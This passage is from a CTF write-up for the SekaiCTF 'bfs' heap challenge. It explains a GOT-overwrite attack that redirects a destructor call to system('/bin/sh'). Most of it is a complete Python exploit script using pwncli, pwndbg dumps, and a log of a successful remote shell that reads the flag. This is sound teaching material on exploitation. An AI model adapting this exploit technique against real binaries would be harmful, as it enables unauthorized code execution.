snippet:

```

1 def func11(t1, t2):
2     y = (256 * t2 - t1) //(256 * 256 -1)
3     x = t2 - 256 * y
4     x = (t1 - y) // 256
5     y = t1 - 256 * x
6     print(f"x: {x}, y: {y}")
7     return x, y
8
9 # 0x407048 → got.plt@~basic_string
10 x, y = func11(0x407048, heap_base)

```

Then, write

```

got.plt@std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~~basic_string to
0x401925 :

```

```

.text:000000000040191F          jnz     loc_4019BC
.text:0000000000401925          lea    rax, _ZStL8__ioinit ; std::__ioinit
.text:000000000040192C          mov    rdi, rax ; this
.text:000000000040192F          call   __ZNSt8ios_base4InitC1Ev ; std::ios_base::Init::Init(void)
.text:0000000000401934          lea    rax, __dso_handle

```

add `got.plt@std::ios_base::Init::Init` to `system` and write `/bin/sh` at `std::__ioinit`. BTW, `std::__ioinit` is on the top of `adj_matrix`

When the loop ends, `~basic_string` will be called.

2-7 get shell

The layout of got table and `std::__ioinit`:

```

pwndbg> got
GOT protection: Partial RELRO | GOT functions: 24

[0x407018] _Znam@GLIBCXX_3.4 -> 0x7f8db0ce7a50 ← endbr64
[0x407020] setvbuf@GLIBC_2.2.5 -> 0x7f8db0a72670 (setvbuf) ← endbr64
[0x407028] _ZNSirsERj@GLIBCXX_3.4 -> 0x7f8db0d5b810 ← endbr64
[0x407030] _ZSt17__throw_bad[...]@GLIBCXX_3.4 -> 0x401060 ← endbr64
[0x407038] __cxa_begin_catch@CXXABI_1.3 -> 0x401070 ← endbr64
[0x407040] _ZSt20__throw_len[...]@GLIBCXX_3.4 -> 0x401080 ← endbr64
[0x407048] _ZSt7__cxx1112ba[...]@GLIBCXX_3.4.21 -> 0x401925 ← lea    rax, [rip + 0x5abc]
[0x407050] _ZSt28__throw_bad[...]@GLIBCXX_3.4.29 -> 0x4010a0 ← endbr64
[0x407058] __cxa_atexit@GLIBC_2.2.5 -> 0x7f8db0a368c0 (__cxa_atexit) ← endbr64
[0x407060] _ZStlsISt11char_t[...]@GLIBCXX_3.4 -> 0x7f8db0d75e70 ← endbr64
[0x407068] _Znwm@GLIBCXX_3.4 -> 0x7f8db0ce79f0 ← endbr64
[0x407070] _ZdlPvm@CXXABI_1.3.9 -> 0x7f8db0ce5ca0 ← endbr64
[0x407078] _ZNSolsEPFRSoS_E@GLIBCXX_3.4 -> 0x7f8db0d74900 ← endbr64
[0x407080] __stack_chk_fail@GLIBC_2.4 -> 0x401100 ← endbr64
[0x407088] signal@GLIBC_2.2.5 -> 0x7f8db0a33420 (ssignal) ← endbr64
[0x407090] exit@GLIBC_2.2.5 -> 0x401120 ← endbr64
[0x407098] _ZNSolsEj@GLIBCXX_3.4 -> 0x7f8db0d76580 ← endbr64
[0x4070a0] _ZSt7__cxx1112ba[...]@GLIBCXX_3.4.21 -> 0x7f8db0d850b0 ← endbr64
[0x4070a8] __cxa_rethrow@CXXABI_1.3 -> 0x401150 ← endbr64
[0x4070b0] _ZSt8ios_base4In[...]@GLIBCXX_3.4 -> 0x7f8db0a41d7b (system+27) ← call   0x7f8db0a418f0
[0x4070b8] memmove@GLIBC_2.2.5 -> 0x7f8db0b91940 (__memmove_avx_unaligned_erms) ← endbr64
[0x4070c0] __cxa_end_catch@CXXABI_1.3 -> 0x401180 ← endbr64
[0x4070c8] _Unwind_Resume@GCC_3.0 -> 0x401190 ← endbr64
[0x4070d0] alarm@GLIBC_2.2.5 -> 0x7f8db0adb5b0 (alarm) ← endbr64
pwndbg> tele 0x4073e0
00:0000 0x4073e0 (adj_matrix) ← 0x0
01:0008 0x4073e8 (std::__ioinit) ← 0x68732f6e69622f /* '/bin/sh' */
02:0010 0x4073f0 ← 0x0
03:0018 0x4073f8 ← 0x0
04:0020 0x407400 ← 0x0
05:0028 0x407408 ← 0x0
06:0030 0x407410 ← 0x0
07:0038 0x407418 ← 0x0

```

The operation of `xmm` register fails when call `system`, so I use the address of `call do_system`.

Pop shell:

```

RDX 0x7f2a62a233b0 → 0x7f2a6293b5d0 ← endbr64
RDI 0x4073e8 (std::__ioinit) ← 0x68732f6e69622f /* '/bin/sh' */
RSI 0x0
R8 0x1
R9 0x7fff72e07220 ← 0x2
R10 0x1
R11 0x246
R12 0x7fff72e074d8 → 0x7fff72e07804 ← '/home/roderick/hack/bfs/bfs'
R13 0x401605 (main) ← endbr64
R14 0x406de8 (__do_global_dtors_aux_fini_array_entry) → 0x4013e0 (__do_global_dtors_aux) ← endbr64
R15 0x7f2a62a6d040 (_rtld_global) → 0x7f2a62a6e2e0 ← 0x0
RBP 0x7fff72e073c0 ← 0x1
*RSP 0x7fff72e07320 → 0x401934 ← lea rax, [rip + 0x57a5]
*RIP 0x4012e0 (std::ios_base::Init::Init()@plt) ← endbr64
-----[ DISASM ]-----
> 0x4012e0 <std::ios_base::Init::Init()@plt> endbr64
0x4012e4 <std::ios_base::Init::Init()@plt+4> bnd jmp qword ptr [rip + 0x5dc5] <system+27>
↓
0x7f2a62608d7b <system+27> call do_system <do_system>
0x7f2a62608d80 <system+32> test eax, eax
0x7f2a62608d82 <system+34> sete al
0x7f2a62608d85 <system+37> add rsp, 8
0x7f2a62608d89 <system+41> movzx eax, al
0x7f2a62608d8c <system+44> ret
0x7f2a62608d8d nop dword ptr [rax]
0x7f2a62608d90 <realpath_stk> push r15
0x7f2a62608d92 <realpath_stk+2> push r14
-----[ STACK ]-----
00:0000 rsp 0x7fff72e07320 → 0x401934 ← lea rax, [rip + 0x57a5]
01:0008 0x7fff72e07328 → 0x4018c0 (main+699) ← mov eax, ebx
02:0010 0x7fff72e07330 → 0x7fff72e074d8 → 0x7fff72e07804 ← '/home/roderick/hack/bfs/bfs'

```

2-8 EXP

```

1 #!/usr/bin/env python3
2 # Date: 2022-10-02 08:23:47
3 # Link: https://github.com/RoderickChan/pwncli
4 # Usage:
5 #   Debug : python3 exp.py debug ./bfs -t -b 0x401925
6 #   Remote: python3 exp.py remote ./bfs ip:port
7
8 from pwncli import *
9 cli_script()
10
11 context.arch="amd64"
12
13 io: tube = gift.io
14
15 def push_nodes(from_=0, num=256):
16     sl(f"{num} {num-1}")
17     for i in range(num):
18         if i == from_:
19             continue
20         sl(f"{from_} {i}")
21
22     sl(f"{from_} {num-1}")
23     ru("Testcase #")
24
25
26 def clear_queue_and_adjmatrix(dest=0):
27     sl("256 0")
28     sl(f"0 {dest}")
29     ru("Testcase #")
30
31 sleep(1)

```

```

32
33 # count
34 sl("42")
35
36 push_nodes()
37 push_nodes()
38
39 # clear
40 clear_queue_and_adjmatrix()
41
42 push_nodes()
43 push_nodes()
44
45 clear_queue_and_adjmatrix()
46
47 heap_base = 0
48 clear_queue_and_adjmatrix(0x11130)
49 m = rls("6:").split()
50 heap_base += (int_ex(m[2]) << 12)
51
52 clear_queue_and_adjmatrix(0x11131)
53 m = rls("7:").split()
54 heap_base += (int_ex(m[2]) << 20)
55
56 clear_queue_and_adjmatrix(0x11132)
57 m = rls("8:").split()
58 heap_base += (int_ex(m[2]) << 28)
59 heap_base -= 0x23000
60 log_address_ex("heap_base")
61
62 push_nodes()
63 push_nodes(2)
64 push_nodes(3)
65
66 push_nodes(4)
67 push_nodes(5)
68 clear_queue_and_adjmatrix()
69
70
71 off = 0x11020
72 ori_content = ((heap_base + 0x23350) >> 12) ^ (heap_base + 0x11f00) #
73 write_content = ((heap_base + 0x23350) >> 12) ^ 0x4073e0 # adj_matrix
74 log_address_ex("ori_content")
75 log_address_ex("write_content")
76
77 # 272 * 256 + 32 = 0x1120
78 for i in range(4):
79     ori1 = ori_content & 0xff
80     wr11 = write_content & 0xff
81     ori_content >>= 8
82     write_content >>= 8
83     times = wr11 - ori1 if wr11 >= ori1 else wr11 - ori1 + 0x100
84     sl(f"0 {times}")
85     for _ in range(times):
86         sl(f"272 {i+32}")
87     sl("0 0")
88
89 push_nodes()
90 push_nodes(1)
91 push_nodes(2, 0xf6)

```



```

92
93
94 data = p64(0)+b"/bin/sh"
95 # nodes edges
96
97 for x in data:
98     sl(f"0 0")
99     sl(f"{x} 0")
100    ru("Testcase #")
101
102
103 def func11(t1, t2):
104     y = (256 * t2 - t1) //(256 * 256 -1)
105     x = t2 - 256 * y
106     x = (t1 - y) // 256
107     y = t1 - 256 * x
108     log_ex(f"x: {x}, y: {y}")
109     return x, y
110
111 x, y = func11(0x407048, heap_base)
112
113 ori_content = 0x401090
114 write_content = 0x401925
115 log_address_ex("ori_content")
116 log_address_ex("write_content")
117
118 for i in range(3):
119     ori1 = ori_content & 0xff
120     wr1 = write_content & 0xff
121     ori_content >>= 8
122     write_content >>= 8
123     if ori1 == wr1:
124         continue
125     times = wr1 - ori1 if wr1 >= ori1 else wr1 - ori1 + 0x100
126     sl(f"0 {times}")
127     for _ in range(times):
128         sl(f"{x} {i+y}")
129     sl("0 0")
130
131
132 ori_content = 0x7f2838abd140
133 write_content = 0x7f2838806d60+0x1b
134 log_address_ex("ori_content")
135 log_address_ex("write_content")
136
137 for i in range(3):
138     ori1 = ori_content & 0xff
139     wr1 = write_content & 0xff
140     ori_content >>= 8
141     write_content >>= 8
142     if ori1 == wr1:
143         continue
144     times = wr1 - ori1 if wr1 >= ori1 else wr1 - ori1 + 0x100
145     sl(f"0 {times}")
146     for _ in range(times):
147         sl(f"{x} {i+y+0x68}")
148     sl("0 0")
149
150
151 ia()

```

Attack remote host:

```
roderick@e3fc309fb85b:~/hack/bfs$ ./exp_cli.py re ./bfs2 challs.ctf.sekai.team:4004 -nl
[*] INFO connect challs.ctf.sekai.team port 4004 success!
[*] INFO heap_base ==> 0x1333000
[*] INFO ori_content ==> 0x1345c56
[*] INFO write_content ==> 0x4060b6
[*] INFO x: 16189, y: 78664
[*] INFO ori_content ==> 0x401090
[*] INFO write_content ==> 0x401925
[*] INFO ori_content ==> 0x7f2838abd140
[*] INFO write_content ==> 0x7f2838806d7b
32: 0
Testcase #33: 0
Testcase #34: 0
Testcase #35: 0
Testcase #36: 0
Testcase #37: 0
Testcase #38: 0
Testcase #39: 0
Testcase #40: 0
Testcase #41: 0
$ ls
bfs
flag.txt
$ cat flag.txt
SEKAI{what_do_you_mean_my_integers_have_to_be_checked?_i_never_needed_to_do_that_in_programming_competitions}
$
```

Reference

- 1、[My Blog](#)
- 2、[Ctf Wiki](#)
- 3、[pwncli](#)